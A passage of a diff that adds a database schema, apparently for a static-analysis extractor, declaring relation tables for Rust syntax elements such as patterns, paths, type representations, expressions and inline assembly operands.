ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] 